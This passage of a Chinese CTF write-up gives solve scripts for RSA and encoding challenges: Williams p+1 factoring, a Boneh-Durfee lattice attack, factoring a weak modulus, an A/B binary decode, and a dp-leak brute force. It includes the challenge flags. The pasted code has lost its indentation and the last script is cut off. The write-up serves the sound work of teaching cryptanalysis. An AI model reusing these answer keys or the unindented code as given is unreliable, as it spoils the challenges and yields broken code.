16785805107381133639, 14471872315245024047, 15256999419456872801, 11245045254273493879, 12432915941937754661, 16779879208564650527, 13527359679120520799, 13609212316987142881, 12048851866296673223, 9700737321821517313, 14378798305839284857, 9611124475271266561, 13852359141963480583, 11482735530462856063, 15354806409837420893, 13941285484258063727, 14725649345415301957, 14540375648816209781, 15268062151789994279, 10710080489577786817, 15918894791610440369, 13679067272608182587, 12130148919788574667, 14787273033558048851, 16823039346693535453, 9786912554506032653, 12271391359749298573, 10338204530215094879, 17031700055987188007, 13892013056459801951, 16466462551586874361, 15509765092722859157, 17798707991935554641, 16724399949431954029, 13950635476447170409, 11844033699047785357, 14747361128582919509, 14667470964266641091, 12896901039793154849, 15536822808734549341, 12385771205898361763, 12265293491880919333, 9519013453753799311, 10399041997001597659, 16593843155091891947, 12731251001624534627, 15446540709384042589, 9977945635496326949, 16022582598611495171, 11602170089144567501, 14556919126878807737, 13325795480553101047, 12141291839761394549, 11056079849427396533, 9319147679594339663, 14076618445093460089, 13279302183770932003, 15969822774426507863, 15634577535247166641, 18134435225679362561, 13580840906683365127, 16932745671449749507, 13861858882551833521, 17059312054729866107, 16159631686544375273, 13252534105662820201, 12853863943245116791, 15045628398991754593, 16867564338626531897, 15053346821310993907, 15424243202794355417, 12169322810803770263, 17562408967112815189, 14696130091108860479, 16353873170264652727, 18137634119608386217, 13853870828606368123, 12138232181730621971, 17695562390286922187, 11482149834977336341, 11263040235574897391, 17516386258426598267, 11729599409349513977, 16344325675031393033, 9487998624331072613, 15548753174223167923, 16246946533494280441, 15168068556360396767, 10988949668785042289, 16578604258551502499, 14921063374278681199, 17959209918307585553, 13403422202954306417, 11008060381939288823, 11996269609545097451, 14304683665387573597, 15127244416475972951, 14638939931196152921, 13736677778855498231, 17587444419861411713, 9712574859471189721, 11754669647509862399, 13808458314511168667, 14076346964677125061, 14296229481633724123, 10546969810734077257, 13806516637777666997, 11595089909651297627, 15383693545718169527, 11899557291952040539, 11892231220794860827, 18090056242513773299, 16535424213022634657, 13429292459383177121, 10938466758053648591, 13247568010483593953, 14353179575611187827, 17247884385077903059, 15492418843846011163, 13991533281715009171, 10648224887308767149, 13434464420280213799, 18308741750842750223, 16958163859863247583, 17331583790580132911, 16594103882668531169, 15654309992707438321, 12143487125851071209, 13917462550122657373, 14300594316387726833, 11038403267265055433, 11668215065573927149, 16522831969819412009, 15574426807839180587, 9521082951973994111, 11184051603632666453, 17420808937992910057, 12911596655426162347, 14013571659883359853, 9255799220881949201, 10863148313680771943, 15125487406888857311, 10787391261037964801, 11181016652346500041, 12375758200228628333, 11096658214489080743, 14127930959020578487, 11097748121705255807, 9576959296273172197, 10329268625923900369, 12989481583199396267, 11221816342693962053, 11682824873199396701, 9726906501816888893, 14262866113962178411, 9585657969091757713, 11560990155825686603, 15431631822377633897, 9693653500895246153, 18052885089925870411, 12230353179628084643, 11140231161527021251, 11692996241065359677, 17325167313903580247, 13625405742824607707, 9700735722329114107, 17772484003012329121, 14710477009444476553, 11461459386714361369, 9710381370263165737, 14182228639237393261, 15344135038819224257, 13747712780102897047, 18043450369219899473, 10108489789901066423, 18323581078801222739, 11709502836760188211, 14510120896876508611, 10099898624211195287, 17361096065683222901, 15111530145788039651, 16726669802715322249, 15303048960860878433, 12918404780084443421, 10395837535719074069, 14881964221907324279, 14275096296552385127, 16767210669789926149, 16926825798156482309, 12118163891694788129, 9527147805191785667, 15014015486557066933, 16813575270918372811, 9593601949025443639, 13896995817956105537, 13741986219854107753, 11144899659720022073, 18238128043240764319, 12779733553193717153, 12771981722317523603, 17736020578173685219, 9340904375029821481, 17592111347118520843, 13580882292330428401, 15018369925699389031, 17809424700118883129, 11613026101864549847, 17286309683170750757, 15302812145728958509, 15391566078527070121, 9974325230682765697, 11551570786966900967, 11351003337990798203, 11120412046865048101, 9696688946725965169, 15093528920040797497, 18065996667394084837, 13292251568744035337, 11101213198305556951, 17531999985277474517, 15966406176658019221, 10691542704039725009, 14297474600370306949, 13621179047848909531, 12859649057819536667, 15917449527351930353, 9605987875906658413, 14998884139877113397, 9303906426219476507, 9871680222005313013, 18053630596736423699, 18214702298732770603, 15217549802969404841, 17230806139959259801, 9756053496476979851, 13493983446716093807, 15872062367640353111, 10830618212258286257, 13343744885931835489, 15379338915986533049, 16664848187297516537, 15913611403024361401, 16957002785994856157, 16999268043777708043, 15924602242524984389, 11470115363514206713, 17780900375430786271, 17219602318975762861, 15562078753739245099, 14429908225005981979, 16785776318383823977, 9345347283569848891, 9826037803806928201, 14757441108506302691, 16843056852903557147, 12089182103754698633, 13071844903007200927, 13309532659259919281, 12185211383730425707, 17671246663671372547, 15827919662605196687, 13921392459246207437, 14214028972975886279, 10666188887784923113, 15026095328389680481, 14070638370052382317, 11515225275289974647, 12733768797899627857, 15232090050353579959, 9605577513419872349, 11774332933083185117, 13015628182391854561, 12452018187207611071, 10613040759167447969, 16395318189590579111, 9650312608310268509, 16507662966772496023, 9745403684063805119, 15429094458205621159, 13907939611582114601, 14350669162433050921, 12444630576676286983, 12382608458977480781, 13701560178384085519, 14561536331132891843, 17870839403342285053, 17726305914129360941, 18120422155613702203, 11458486193501014487, 15652084560104054171, 16016407186905293131, 12896826502049676533, 13137573987547216019, 11993148289033574989, 12553485329707332011, 9407004537495583253, 16551197209131499807, 12188240888329030727, 13138059982433827393, 9447792088431441973, 13898552597307352607, 13086125839706222777, 11253297961067347699, 12473509293771699973, 12025629766486534463, 9246425606391056513, 10978614475595947261, 15328005120420669143, 15005188618611818149, 14681521764654667837, 18222824871931463471, 13727103721842925123, 11056314452399736701, 14190514709890056683, 16071925700301971681, 14114206274338698617, 11354892818254049171, 15558048570303377969, 9548803747853081857, 17588526935062502339, 10932175915126889777, 14848760934877079473, 16531929394433046437, 11059255418387621143, 15419998777650574619, 18133329784854851773, 9376742948363866007, 10267333769360440369, 10455930081787849081, 11749403554374261673, 12289480767522531263, 9355881077811916589, 16377906719131687771, 12636537540548202157, 15473661167864858659, 12939130785963130559, 10331428178834892869, 18403302396935375239, 12457052115957020359, 16728650241949106683, 15673023018343436269, 14566008317650142029, 10428852531127223779, 12989287388538384809, 10023218474904646751, 10216986934332559607, 11200524499033897849, 17374818422359302449, 11795887296034843123, 16260134950019402467, 15545049906898796849, 13905976122896835137, 18192952532376915133, 15245754103999312679, 14336092681672892797, 16711051263995536291, 10268633000776041389, 16298601116274769289, 12526591346109970043, 11057407454514514777, 17316528792225617197, 18057651102128098207, 16192203874370581303, 10293184135563422201, 9723556212482431513, 18054422790317350181, 17756547295472446751, 11552860515549111289, 13432033735566726419, 12179716429669289003, 14947157147090126191, 16335353494729459423, 15184076846117432761, 14777743253109667273, 13625241580579004263, 10998645430939015469, 13534322946405781903, 11327079738013968217, 17487263803711590509, 13189162879894145159, 13784538619743485863, 17064328079090046263, 9685004881707057761, 16079690295682955971, 13294545125605834661, 10648658009947462261, 18415164681671251511, 10641837226629144139, 15777331516260137267, 11795948058583766659, 15535152465440663291, 17216667014436648943, 9653047732094860031, 11131348011090342127, 16886193462362116063, 15612491590607382593, 10835879650784394071, 13279435351244340899, 16168298479453780489, 16083456466830550283, 11380553957000451991, 15128521211355953573, 10826365584345090827, 11931387899927297363, 16091037230044064021, 16855367086926162211, 11170558557176459503, 9886757544769944653, 11450033604282275011, 11929757603936817763, 17420827560223252171, 10870631368466407877, 13834307981276745037, 10230994628690765197, 14461440966371289941, 14513569082524554649, 15609519179461790747, 12452462947852628413, 11697783772313307211, 10077360532646539567, 15668479810095426521, 14100390060574107281, 16039433251746746399, 11594255700072389497, 11335433960775286819, 17135850578547822607, 17715472259313599723, 9872560666658691277, 13426738927194861001, 9559405911145488401, 9560643982657333219, 11125735716442543571, 14348305982295065537, 17334821829789014189, 12062975303975394341, 17675818288232614691, 12456667873905594329, 11330845594517002613, 16817880606791218753, 9524369250258419267, 14531988631115581537, 9721408134124289899, 16662586589444720647, 11325110890618816411, 10051647873079811617, 14536021166978233733, 12224386731517653097, 17640459671249984461, 16543114235733129481, 12834813684653021713, 13050693286566514921, 16072783334843947421, 16824355675011368569, 9665639317029622411, 15966237013384955239, 14787243991682533471, 14167620861073328777, 16552060845197660033, 14426640096605498107, 11250797705828570411, 12830939822208389821, 15292466542716343963, 9917855814946199189, 10442126201651355433, 12042544592582006819, 13742543708854176911, 12519797425611830609, 12305049189690830747, 13048815356624492777, 17928797470734483373, 9345743880343852493, 17394449011144997203, 14027454725211775843, 15325951436202259889, 14089580406354666877, 14985891805973997229, 15815861666300600207, 13010491061439139729, 17474295865525658119, 10856321689902733963, 15719997391332198931, 11798694284977436299, 11131916950543733651, 14728548632909038181, 15869387205433439081, 10635187834937273627, 14844816583829681107, 10707745831589845607, 16061495585562724741, 13860352348388954479, 13839169685364641087, 10246021025120950757, 17909700734377694141, 11494364438621610881, 16304619707693032889, 13720492814063169997, 12550911015312791057, 18076672670188884121, 10384906691343925679, 16486782778290044783, 12644175422114478653, 14955139942049789357, 16026396184113858703, 10524600442649861959, 11001050498566874027, 9979271448704886613, 13030132484834300659, 15230981971792316689, 15374177218176283253, 14195651389624938953, 10455638721836517437, 15149204128873840301, 12500463654517686493, 13475842347378678719, 12974353406746765043, 18081547614319419917, 13613920396906170893, 18201655698843944801, 9908359973067294049, 12259133230997142013, 13435886340259808407, 17657174880994459697, 13940231287221357463, 16592426911225206653, 13749631155096260533, 13579552974478309459, 9836712372149870281, 17218778541380165767, 10464000360382809991, 16777832929341727297, 15972158110380610507, 15350561171111592953, 9938731346590575421, 17912262447858075839, 16137701207062825711, 15626368583424185491, 10499152290055372079, 9382357912889286797, 14085852927258985099, 18393486728568017383, 10652476457160311261, 10527374223100330091, 17264120882113825487, 10885171609551829193, 16296935971967210533, 17039844827041640479, 16608078020248577041, 9554142078243712343, 12151602751600242503, 18333639542063204713, 12302756704018880831, 11612577899799494441, 13180093129135727227, 15533144054803240961, 17221156035305318801, 11685681018084321637, 13339338584418108371, 16764312293446072699, 9609715328254190099, 12015164966002919969, 17640110779197465353, 16460183428670473871, 13819867905621355469, 11784001662482246243, 10882776393768075541, 12284523803945957717, 11453117866254103187, 10672997245980076939, 9837424460088812963, 9456987736164381311, 16476068953424599633, 10714497365388454843, 11566321267685570027, 12258500729803839241, 13565509018611395453, 9837508107087665041, 10883021385911688053, 13236085185545218621, 12903549664178814119, 9277313810593502131, 15325552562767494059, 15737855390072711723, 12902145372862611967, 16617731535068412919, 16192918114406845313, 13329973263696065593, 15118904191983404627, 9421694107495493981, 14757389355512560711, 11755446033555771161, 11174113824848691089, 9931655160887834537, 13952179663695071047, 14628647895265937389, 13965103496050821571, 12334188065189399611, 15026324919476931311, 13737352569679199609, 17292288948395152463, 9747700181588759561, 13039199615231288567, 15048237407823618463, 11672237438639568239, 10302962861342428331, 12445128229021135679, 14463159840208815601, 13915082057723091419, 17505306824019415949, 12290525908208358407, 18446406381021364073, 11883272894488841837, 13151315617170041119, 9986202098577177283, 11376286496724079633, 17072429507581144597, 11601908054173197833, 12769100713651410277, 11578625980850143169, 15395413375327895911, 13942489248348359849, 16149741548915905429, 13745316489572365673, 9342391586010481007, 13460580618329867983, 15049385889346014431, 13567657641395719637, 9610206585474156637, 18361259735535581597, 16345044279841976141, 10386175636785013831, 10339319734960152623, 17118190675556320687, 10005962451642889201, 14773420480883046503, 11178361855707216889, 17257848339780864089, 17226047946161423507, 16460175468823544401, 15971530319487090739, 14842029296369602163, 15224121827462937979, 9275527308938870173, 17041103378156856689, 13801145680164940003, 10285279638830544209, 13671894824963549641, 16032778609020511861, 9851225257145555347, 9375022299108554971, 14826523109553586027, 17124217400159528447, 10713407734688191177, 12691625640419643317, 15981484460492567717, 9786795565103681819, 12556711015687803709, 11148645018758728049, 13265323147276427401, 13967986650812662373, 17848752154332550457, 9981768723976662007, 14998022968536079123, 12174071201870356879, 11520148746512983013, 12705359135922834167, 16031947192061029513, 12785255613650486969, 17794207197348321059, 16590130444003836701, 13051020119617841899, 18329540394916509391, 17016883109643488021, 12739110953512934191, 17294655201856917067, 11058626020237830707, 9462906708710154961, 14623360900124309369, 11254845081678452897, 14264002816761276253, 13102001758655038643, 12108869081174715287, 17010826574740201271, 14037017483914942313, 13985137272262919353, 9633084395035385983, 17241078172401921151, 16214027901908512283, 16093436048900321317, 14391957124445034917, 12359483645035302161, 10438778853819832753, 10567110128884566343, 10292970247351191901, 16822209722672159149, 13496565983843091859, 11841500670757876693, 11147505811854389987, 14065276166663767481, 15145625093242694749, 14413829172406893583, 16503017312704021103, 11981873548328345323, 11909212497608981689, 10679989447819664377, 12423178332387828413, 14358836553490758151, 10237468755767323591, 9735039457556049641, 9478522344708755909, 17979691433619404903, 17873209010991434147, 9550618472816953163, 13347619619192035741, 14530641313417809089, 13994703746676143779, 9559733892621448897, 10382805841803379711, 11843672223274874071, 16815833185277434981, 12381223102021820597, 15258305081721389239, 15136515056658706363, 18126727588656279323, 10697455619860328677, 9352124924523425581, 17295005245325754503, 14177782902523557389, 16249970306053067029, 17425431521899489447, 9366637040493563183, 14547545849198299667, 16839246487745686313, 10125673509176340733, 16315331794598305291, 18287303257171869707, 14082462954685803851, 15710924897106988277, 9846789987736297901, 12850810892277384811, 9503762183847119159, 12035363414252005649, 12548445170155094227, 9987078241115445023, 11170994807091443339, 11647765960869059809, 10834387862974757999, 9838865006047239157, 12019744644188767517, 14761339868466177863, 10956244424237933677, 10577167950528154373, 18401121224902652879, 17235712984492843111, 18429975080980393459, 16975328717308835227, 16212745888436855227, 15748060839664004279, 10802710007407091591, 18005654473259312323, 17728864727324757541, 9476823236759120071, 15715719744380211089, 11317957584932242129, 14263043570269209481, 11885161440852975761, 12759119296561192847, 16837757861450897923, 11387051211693970223, 12990690679215047009, 15370437666068796491, 9661293882813929899, 16671594122227576891, 12760716047967713053, 15836846371629855617, 15372573498823277741, 13037801868101928847, 9227832155694778921, 12305150816980735891, 15210658418843137207, 16788466837458690557, 9762486133521181153, 13371940588733082221, 10152546759088309507, 10848887643327358249, 17205964303284825847, 12583799778495365419, 9672644823779940799, 16479122731650726673, 11829095825108299229, 16856643509258471717, 17729801070393904861, 12446898694377908053, 15647792035238488259, 15262980088834134317, 14842714080641230361, 11892658365659114837, 15543608752847397577, 18134628238866132559, 17281754915383504451, 14880763471671790447, 18365273826942699029, 10593576240664735397, 13738012363336486327, 10585528712941671061, 15236197766771889647, 12962016451203849439, 10115648256105130097, 18284391657729233963, 10065785450550899873, 14857920561664507949, 16030693837709372611, 13900562821391763329, 12228162083162590063, 11182799187528291871, 10214055412817190283, 15460696099737060427, 12382626153236584387, 15465251424009421147, 16965031217756582281, 14126243176626361657, 18080871035396853247, 12890579554268090071, 12213352895923847441, 11657388029153192717, 10594146346641284267, 10061199141387371213, 11654321642876196877, 9824908207222632341, 9667965027898668031, 15337259287380080431, 11343809882060699179, 14165912342048965513, 11858958254391153371, 14644267317090978181, 15243216027706161023, 12709086352105620721, 12699306874452850307, 9623280468372066131, 12147185253639241291, 16601705326867205539, 10344891266561865029, 9295392664898294891, 11337442576012179707, 12437074606171059809, 16257047214863286941, 15963251223708366749, 9796716955285549447, 15639176349316312987, 9957650134111703227, 13427963685313160311, 14969656757466500147, 15214704302669139497, 16883998205231447767, 9582306718565802677, 18213300288961503953, 10133964032925729329, 13921564103985671879, 18189260807943763691, 15990390439904555291, 13338552747826262603, 10004697650349190067, 14464165999372352189, 9264423096518569807, 16223738667762317267, 12581099710736152931, 16783603748986153523]

def mlucas(v, a, n):
""" Helper function for williams_pp1(). Multiplies along a Lucas sequence modulo n. """
v1, v2 = v, (v ** 2 - 2) % n
for bit in bin(a)[3:]: v1, v2 = ((v1 ** 2 - 2) % n, (v1 * v2 - v) % n) if bit == "0" else (
(v1 * v2 - v) % n, (v2 ** 2 - 2) % n)
return v1

def ilog(x, b): # greatest integer l such that b**l <= x.
l = 0
while x >= b:
x /= b
l += 1
return l

def williams(n):
for v in count(1):
for p in primes:
e = ilog(isqrt(n), p)
if e == 0:
break
for _ in range(e):
v = mlucas(v, p, n)
g = gcd(v - 2, n)
if 1 < g < n:
return int(g), int(n // g) # g|n
if g == n:
break

p, q = williams(n)
m = pow(c, inverse(65537, (p-1)*(q-1)), n)
print(long_to_bytes(m))
#NSSCTF{e9991e0b-498e-ade8-86a9-bf4af9770399}

第二部分EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
from __future__ import print_function
import time
from Crypto.Util.number import long_to_bytes
from Crypto.PublicKey import RSA

############################################
# Config
##########################################

"""
Setting debug to true will display more informations
about the lattice, the bounds, the vectors...
"""
debug = True

"""
Setting strict to true will stop the algorithm (and
return (-1, -1)) if we don't have a correct
upperbound on the determinant. Note that this
doesn't necesseraly mean that no solutions
will be found since the theoretical upperbound is
usualy far away from actual results. That is why
you should probably use `strict = False`
"""
strict = False

"""
This is experimental, but has provided remarkable results
so far. It tries to reduce the lattice as much as it can
while keeping its efficiency. I see no reason not to use
this option, but if things don't work, you should try
disabling it
"""
helpful_only = True
dimension_min = 7 # stop removing if lattice reaches that dimension

############################################
# Functions
##########################################

# display stats on helpful vectors
def helpful_vectors(BB, modulus):
nothelpful = 0
for ii in range(BB.dimensions()[0]):
if BB[ii,ii] >= modulus:
nothelpful += 1

print(nothelpful, "/", BB.dimensions()[0], " vectors are not helpful")

# display matrix picture with 0 and X
def matrix_overview(BB, bound):
for ii in range(BB.dimensions()[0]):
a = ('%02d ' % ii)
for jj in range(BB.dimensions()[1]):
a += '0' if BB[ii,jj] == 0 else 'X'
if BB.dimensions()[0] < 60:
a += ' '
if BB[ii, ii] >= bound:
a += '~'
print(a)

# tries to remove unhelpful vectors
# we start at current = n-1 (last vector)
def remove_unhelpful(BB, monomials, bound, current):
# end of our recursive function
if current == -1 or BB.dimensions()[0] <= dimension_min:
return BB

# we start by checking from the end
for ii in range(current, -1, -1):
# if it is unhelpful:
if BB[ii, ii] >= bound:
affected_vectors = 0
affected_vector_index = 0
# let's check if it affects other vectors
for jj in range(ii + 1, BB.dimensions()[0]):
# if another vector is affected:
# we increase the count
if BB[jj, ii] != 0:
affected_vectors += 1
affected_vector_index = jj

# level:0
# if no other vectors end up affected
# we remove it
if affected_vectors == 0:
print("* removing unhelpful vector", ii)
BB = BB.delete_columns([ii])
BB = BB.delete_rows([ii])
monomials.pop(ii)
BB = remove_unhelpful(BB, monomials, bound, ii-1)
return BB

# level:1
# if just one was affected we check
# if it is affecting someone else
elif affected_vectors == 1:
affected_deeper = True
for kk in range(affected_vector_index + 1, BB.dimensions()[0]):
# if it is affecting even one vector
# we give up on this one
if BB[kk, affected_vector_index] != 0:
affected_deeper = False
# remove both it if no other vector was affected and
# this helpful vector is not helpful enough
# compared to our unhelpful one
if affected_deeper and abs(bound - BB[affected_vector_index, affected_vector_index]) < abs(bound - BB[ii, ii]):
print("* removing unhelpful vectors", ii, "and", affected_vector_index)
BB = BB.delete_columns([affected_vector_index, ii])
BB = BB.delete_rows([affected_vector_index, ii])
monomials.pop(affected_vector_index)
monomials.pop(ii)
BB = remove_unhelpful(BB, monomials, bound, ii-1)
return BB
# nothing happened
return BB

"""
Returns:
* 0,0 if it fails
* -1,-1 if `strict=true`, and determinant doesn't bound
* x0,y0 the solutions of `pol`
"""
def boneh_durfee(pol, modulus, mm, tt, XX, YY):
"""
Boneh and Durfee revisited by Herrmann and May

finds a solution if:
* d < N^delta
* |x| < e^delta
* |y| < e^0.5
whenever delta < 1 - sqrt(2)/2 ~ 0.292
"""

# substitution (Herrman and May)
PR.<u, x, y> = PolynomialRing(ZZ)
Q = PR.quotient(x*y + 1 - u) # u = xy + 1
polZ = Q(pol).lift()

UU = XX*YY + 1

# x-shifts
gg = []
for kk in range(mm + 1):
for ii in range(mm - kk + 1):
xshift = x^ii * modulus^(mm - kk) * polZ(u, x, y)^kk
gg.append(xshift)
gg.sort()

# x-shifts list of monomials
monomials = []
for polynomial in gg:
for monomial in polynomial.monomials():
if monomial not in monomials:
monomials.append(monomial)
monomials.sort()

# y-shifts (selected by Herrman and May)
for jj in range(1, tt + 1):
for kk in range(floor(mm/tt) * jj, mm + 1):
yshift = y^jj * polZ(u, x, y)^kk * modulus^(mm - kk)
yshift = Q(yshift).lift()
gg.append(yshift) # substitution

# y-shifts list of monomials
for jj in range(1, tt + 1):
for kk in range(floor(mm/tt) * jj, mm + 1):
monomials.append(u^kk * y^jj)

# construct lattice B
nn = len(monomials)
BB = Matrix(ZZ, nn)
for ii in range(nn):
BB[ii, 0] = gg[ii](0, 0, 0)
for jj in range(1, ii + 1):
if monomials[jj] in gg[ii].monomials():
BB[ii, jj] = gg[ii].monomial_coefficient(monomials[jj]) * monomials[jj](UU,XX,YY)

# Prototype to reduce the lattice
if helpful_only:
# automatically remove
BB = remove_unhelpful(BB, monomials, modulus^mm, nn-1)
# reset dimension
nn = BB.dimensions()[0]
if nn == 0:
print("failure")
return 0,0

# check if vectors are helpful
if debug:
helpful_vectors(BB, modulus^mm)

# check if determinant is correctly bounded
det = BB.det()
bound = modulus^(mm*nn)
if det >= bound:
print("We do not have det < bound. Solutions might not be found.")
print("Try with highers m and t.")
if debug:
diff = (log(det) - log(bound)) / log(2)
print("size det(L) - size e^(m*n) = ", floor(diff))
if strict:
return -1, -1
else:
print("det(L) < e^(m*n) (good! If a solution exists < N^delta, it will be found)")

# display the lattice basis
if debug:
matrix_overview(BB, modulus^mm)

# LLL
if debug:
print("optimizing basis of the lattice via LLL, this can take a long time")

BB = BB.LLL()

if debug:
print("LLL is done!")

# transform vector i & j -> polynomials 1 & 2
if debug:
print("looking for independent vectors in the lattice")
found_polynomials = False

for pol1_idx in range(nn - 1):
for pol2_idx in range(pol1_idx + 1, nn):
# for i and j, create the two polynomials
PR.<w,z> = PolynomialRing(ZZ)
pol1 = pol2 = 0
for jj in range(nn):
pol1 += monomials[jj](w*z+1,w,z) * BB[pol1_idx, jj] / monomials[jj](UU,XX,YY)
pol2 += monomials[jj](w*z+1,w,z) * BB[pol2_idx, jj] / monomials[jj](UU,XX,YY)

# resultant
PR.<q> = PolynomialRing(ZZ)
rr = pol1.resultant(pol2)

# are these good polynomials?
if rr.is_zero() or rr.monomials() == [1]:
continue
else:
print("found them, using vectors", pol1_idx, "and", pol2_idx)
found_polynomials = True
break
if found_polynomials:
break

if not found_polynomials:
print("no independant vectors could be found. This should very rarely happen...")
return 0, 0

rr = rr(q, q)

# solutions
soly = rr.roots()

if len(soly) == 0:
print("Your prediction (delta) is too small")
return 0, 0

soly = soly[0][0]
ss = pol1(q, soly)
solx = ss.roots()[0][0]

#
return solx, soly

def example():
############################################
# How To Use This Script
##########################################

#
# The problem to solve (edit the following values)
#

# the modulus
N = 10037257627154486608196774801095855162090578704439233219876490744017222686494761706171113312036056644757212254824459536550416291797454693336043852190135363
c = 6723803125309437675713195914771839852631361554645954138639198200804046718848872479140347495288135138109762940384847808522874831433140182790750890982139835
e = 6701513605196718137208327145211106525052740242222174201768345944717813148931274437740087428165253744741547590314279846187850432858954606153257994418035341
# the hypothesis on the private exponent (the theoretical maximum is 0.292)
delta = .26 # this means that d < N^delta

#
# Lattice (tweak those values)
#

# you should tweak this (after a first run), (e.g. increment it until a solution is found)
m = 4 # size of the lattice (bigger the better/slower)

# you need to be a lattice master to tweak these
t = int((1-2*delta) * m) # optimization from Herrmann and May
X = 2*floor(N^delta) # this _might_ be too much
Y = floor(N^(1/2)) # correct if p, q are ~ same size

#
# Don't touch anything below
#

# Problem put in equation
P.<x,y> = PolynomialRing(ZZ)
A = int((N+1)/2)
pol = 1 + x * (A + y)

#
# Find the solutions!
#

# Checking bounds
if debug:
print("=== checking values ===")
print("* delta:", delta)
print("* delta < 0.292", delta < 0.292)
print("* size of e:", int(log(e)/log(2)))
print("* size of N:", int(log(N)/log(2)))
print("* m:", m, ", t:", t)

# boneh_durfee
if debug:
print("=== running algorithm ===")
start_time = time.time()

solx, soly = boneh_durfee(pol, e, m, t, X, Y)

# found a solution?
if solx > 0:
print("=== solution found ===")
if False:
print("x:", solx)
print("y:", soly)

d = int(pol(solx, soly) / e)
print("private key found:", d)
##我添加的输出:
m = pow(c,d,N)
print(long_to_bytes(int(m)))
##
else:
print("=== no solution was found ===")

if debug:
print(("=== %s seconds ===" % (time.time() - start_time)))

if __name__ == "__main__":
example()

图片

flag{39693fd4a45b386c28c63100cc930238259891a2}

easy_rsa

直接分解n

1
2
3
4
5
6
7
8
9
10
from string import ascii_lowercase
import gmpy2
from Crypto.Util.number import *
e = 65537
n = 1000000000000000000000000000156000000000000000000000000005643
c = 418535905348643941073541505434424306523376401168593325605206
phi=(10**30+57-1)*(10**30+99-1)
d=gmpy2.invert(e,phi)
c=pow(c,d,n)
print("flag{"+long_to_bytes(c).decode()+"}")

flag{xuanyuanbei_easy_rsa!}

简单编码

先将A变成1,B变成0

1
2
3
4
5
6
7
8
def ab_to_binary(text):
return text.replace('A', '1').replace('B', '0')

# 示例输入
input_text = "ABBAABB ABBABAB ABABAAA ABABAAB ABBBBAA ABBAABA ABABBAA ABBAAAA ABBAAAB ABBABAB ABBBAAA ABAABBB ABABBAA ABABABB ABABBAA ABBABBB ABBABAA ABABABA ABAABAB ABBBAAA ABBBABA ABABBAB ABBBBAA ABABBAB ABBBAAA ABBABAB ABBAABA ABABAAA ABABABA AABBAB ABBBABB ABBAABA ABBABAB AABABA ABBBBAA ABBBAAB ABBAABA AABBAB ABABBAA ABBAAAB ABBBAAA ABBABAB ABBABAA ABABABB ABBBABA ABABABB ABBAABB ABBABAA ABBABAB ABBABAB ABABAAA ABBBABA AABABB ABABBAB AABBAB ABABAAA ABBAAAB ABBBBAB ABBBAAA ABABABA ABBAAAA ABABAAB ABABABB ABBABBA ABBABAB AABABA ABBABAA ABBBABA ABBBABA AABBAA ABBBBAA ABBAAAA ABABBBB ABBABAB ABABABB ABAABBB ABBAAAA ABABAAA ABABABB ABBABAA ABBABBA ABABABA ABAABAB ABABABA AABABB ABABBAB ABBBBAA ABBBBAB ABBBAAA ABABAAB ABBABBB ABABAAB ABBAAAA ABAABAB ABBBABB ABBABAA ABBABAB ABABABA ABAABAB ABBBABA ABBAABA AABBAB ABABBAA ABAABAB ABBBAAA ABBABAB ABBBABA ABAABBB ABABBBA ABABABB ABABBAA ABBABBB ABBABAA ABAABAB ABABABA ABBBAAB ABABBAA ABBAABA ABABBAA ABAABAB ABBBAAA ABBABAB ABBABBB ABBBABB ABBBABA ABABBAA ABBABAB ABABABA ABBAABA ABAABAB ABBAABA ABBABBB ABBBAAA ABBAABA ABBBBAA ABBAAAA ABBABAA ABABBAB ABBABAA ABAABBB ABABABA ABABABB ABABABB AABBAB ABBAAAB ABBBBAB ABABABA ABBBABA AABBAB ABABABA ABBABAB ABBBAAB ABBBAAA ABBAAAB ABBBBAA ABBBBAA ABBABAA ABBAABA AABBAB ABBBABA"
binary_output = ab_to_binary(input_text)

print(binary_output)

然后转ascii得到:

LJWVCMSONJGXSTSHKUZGERCRGJMWU2DMJ5CFM2SNGJKTETLKJJWE4R2WNBGUOVTIJ5KEE3COPJTXOWTKIUZU4RCBGVHVOZDKJUZEM2SZGJEXQTSHKZUFSMSZGJHDESJUMZMHGMCOKRKXUTT2NBUE2UJFGNCCKM2E

再转base32,base64,发现有乱码,需要去掉

图片

然后栏栅即可:

图片

Dp

经典题目,通过爆破1-e范围的取值即可,详细过程可以看我csdn上的详细推导:https://blog.csdn.net/qq_74350234/article/details/142992243?spm=1001.2014.3001.5501

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Dp
Dp泄露,直接套板子一把梭
import libnum
from Crypto.Util.number import *
import gmpy2

n = 110231451148882079381796143358970452100202953702391108796134950841737642949460527878714265898036116331356438846901198470479054762675790266666921561175879745335346704648242558094026330525194100460497557690574823790674495407503937159099381516207615786485815588440939371996099127648410831094531405905724333332751
dp = 3086447084488829312768217706085402222803155373133262724515307236287352098952292947424429554074367555883852997440538764377662477589192987750154075762783925
c = 59325046548488308883386075244531371583402390744927996480498220618691766045737849650329706821216622090853171635701444247741920578127703036446381752396125610456124290112692914728856924559989383692987222821742728733347723840032917282464481629726528696226995176072605314263644914703785378425284460609365608120126
e = 65537

for i in range(1,e):
if (dp*e-1)%i == 0:
if n%(((dp*e-1)//i)+1)==0:
p=((dp*e-1)//i)+1
q=n//(((dp*e-1)//i)+1)
phi = (p-1)*(q-1)
d = gmpy2.invert(e,int(phi))
